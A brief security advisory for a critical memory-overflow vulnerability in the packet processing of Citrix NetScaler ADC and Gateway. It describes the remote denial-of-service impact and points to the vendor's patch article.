CVE-2026-120868

CRITICAL Pub 12/11 Upd 12/11

Overview

This vulnerability is a memory overflow occurring within the packet processing component of Citrix NetScaler ADC and NetScaler Gateway. The flaw arises from improper handling of packet data, leading to buffer overflow conditions during network traffic processing. The affected feature is the core packet processing module responsible for analyzing and forwarding incoming network packets.

Vulnerability Description

Memory overflow in Packet Processing can lead to unpredictable or erroneous behavior or Denial of Service in NetScaler ADC and NetScaler Gateway.

Impact

An unauthenticated attacker can exploit this vulnerability remotely by sending crafted packets to the NetScaler ADC or Gateway, causing unpredictable behavior or denial of service conditions. This can disrupt network traffic management and potentially cause service outages. No user interaction or credentials are required, enabling attackers to impact availability of critical network infrastructure components, affecting business continuity and network reliability.

Solution

Citrix has released security updates addressing this memory overflow in NetScaler ADC and NetScaler Gateway. Users should apply the patches referenced in Citrix article CTX697305 immediately. The advisory provides detailed instructions for upgrading to fixed versions of the product. No specific workarounds are recommended; patching is the primary remediation step. Refer to https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX697305 for full patch details and installation guidance.
